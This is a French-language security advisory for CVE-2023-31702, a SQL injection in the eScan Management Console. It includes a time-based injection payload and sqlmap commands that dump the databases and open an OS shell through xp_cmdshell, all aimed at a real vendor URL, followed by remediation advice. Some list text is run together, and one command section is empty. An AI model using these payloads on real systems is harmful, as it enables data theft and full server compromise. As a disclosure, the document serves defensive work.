
CVE-2023-31702 is an authenticated SQL Injection vulnerability discovered in MicroWorld Technologies eScan Management Console version 14.0.1400.2281.
CVE-2023-31702 est une vulnérabilité d'injection SQL authentifiée découverte dans eScan Management Console version 14.0.1400.2281 de MicroWorld Technologies. La vulnérabilité se trouve dans le point d'accès GetUserCurrentPwd, où le paramètre UsrId est passé directement dans une requête SQL sans désinfection ni paramétrage appropriées. Un attaquant authentifié peut exploiter cette faille pour réaliser une injection SQL aveugle basée sur le temps, extraire l'intégralité de la base de données sous-jacente et finalement obtenir un shell de commande OS interactif sur le serveur Microsoft SQL Server sous-jacent — menant à une compromission complète du système.
La console de gestion eScan fournit une interface web pour gérer la sécurité des terminaux sur le réseau d'une organisation. La fonctionnalité "Afficher le profil utilisateur" expose un point d'accès de type REST :
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<compteur>
Le paramètre UsrId est intégré dans une requête SQL back-end sans validation, échappement ni utilisation de requêtes paramétrées. Cela permet à un attaquant authentifié d'injecter des instructions SQL arbitraires dans la requête, entraînant :
WAITFOR DELAY pour confirmer l'exploitabilité.xp_cmdshell de SQL Server (activée via sp_configure) pour exécuter des commandes système arbitraires sur le serveur avec les privilèges du compte de service SQL Server.Une exploitation réussie de cette vulnérabilité permet à un attaquant de :
⚠️ Note : L'attaquant doit d'abord obtenir des identifiants valides pour la console de gestion eScan. Cependant, une fois authentifié, l'exploitation est simple et ne nécessite pas de privilèges élevés dans la console.
Après s'être authentifié sur la console de gestion eScan, naviguez vers l'URL suivante :
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Cela renvoie les données du profil utilisateur courant, confirmant que le point d'accès est accessible.

Injectez la charge utile de temporisation suivante dans le paramètre UsrId :
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Analyse de la charge utile :
; — termine l'instruction SQL d'origine et en commence une nouvelle (requête empilée).WAITFOR DELAY '0:0:5' — demande au serveur SQL de marquer une pause de 5 secondes avant de répondre.-- — commente le reste de la requête d'origine pour éviter les erreurs de syntaxe.Si la réponse du serveur est retardée d'environ 5 secondes, l'injection est confirmée.

Une fois l'injection SQL aveugle confirmée, la base de données complète peut être extraite à l'aide de SQLMap :
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Cela énumère toutes les bases de données hébergées sur le serveur SQL back-end.
SQLMap peut également escalader l'attaque vers une exécution de commandes au niveau OS en activant et en exploitant xp_cmdshell :
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Cela établit un shell OS interactif sur l'hôte SQL Server.

Une fois le shell OS établi, des commandes Windows arbitraires peuvent être exécutées sur le serveur :

Les mesures suivantes sont fortement recommandées pour corriger et atténuer cette vulnérabilité :
Utiliser des requêtes paramétrées / des instructions préparées — Ne jamais concaténer directement des entrées utilisateur dans des requêtes SQL. Utiliser des paramètres liés pour séparer les données de la logique de requête.
Validation et désinfection des entrées — Valider strictement tous les paramètres fournis par l'utilisateur côté serveur. Pour les identifiants numériques comme UsrId, imposer une entrée de type entier uniquement et rejeter toute valeur contenant des caractères spéciaux.
Appliquer le correctif de l'éditeur — Mettre à jour la console de gestion eScan vers la dernière version disponible. Contacter le support de MicroWorld Technologies ou consulter leurs bulletins de sécurité pour la dernière version corrigée.
Principe de moindre privilège pour les comptes de base de données — Le compte de base de données de l'application doit disposer des seules permissions minimales nécessaires. Il ne doit pas avoir les rôles sysadmin ou db_owner, et xp_cmdshell doit être désactivé.
Désactiver xp_cmdshell — Sauf si explicitement nécessaire, désactiver la procédure stockée étendue xp_cmdshell sur l'instance SQL Server :
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Pare-feu applicatif (WAF) — Déployer un WAF pour détecter et bloquer les schémas d'injection SQL courants en tant que mesure de défense en profondeur.
| Date | Événement |
|---|---|
| 16 mai 2023 | Vulnérabilité découverte et signalée par Sahil Ojha |
| Mai 2023 | CVE-2023-31702 attribué par MITRE |
| Mai 2023 | Divulgation publique |
Sahil Ojha — Chercheur en sécurité
Cette divulgation est destinée uniquement à des fins éducatives et de recherche en sécurité. L'exploitation de cette vulnérabilité sur des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2023-31702 |
| Type de vulnérabilité | Injection SQL (aveugle basée sur le temps / requêtes empilées) |
| Produit affecté | Console de gestion eScan de MicroWorld Technologies |
| Version affectée | 14.0.1400.2281 |
| Point d'accès vulnérable | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Paramètre vulnérable | UsrId |
| Authentification | Requise (identifiants valides de la console) |
| Testé sur | Windows |
| Score CVSS v3.1 | 8.8 (Élevé) |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Date de signalement | 16 mai 2023 |
| Auteur | Sahil Ojha |
| Champ | Détails |
|---|
| Éditeur | MicroWorld Technologies |
| Produit | Console de gestion eScan |
| Page d'accueil de l'éditeur | https://www.escanav.com |
| Lien du logiciel | https://cl.escanav.com/ewconsole.dll |
| Plateforme | Windows |
Segmentation réseau — Restreindre l'accès à la console de gestion eScan aux plages IP de confiance et s'assurer que le serveur SQL n'est pas directement exposé sur Internet.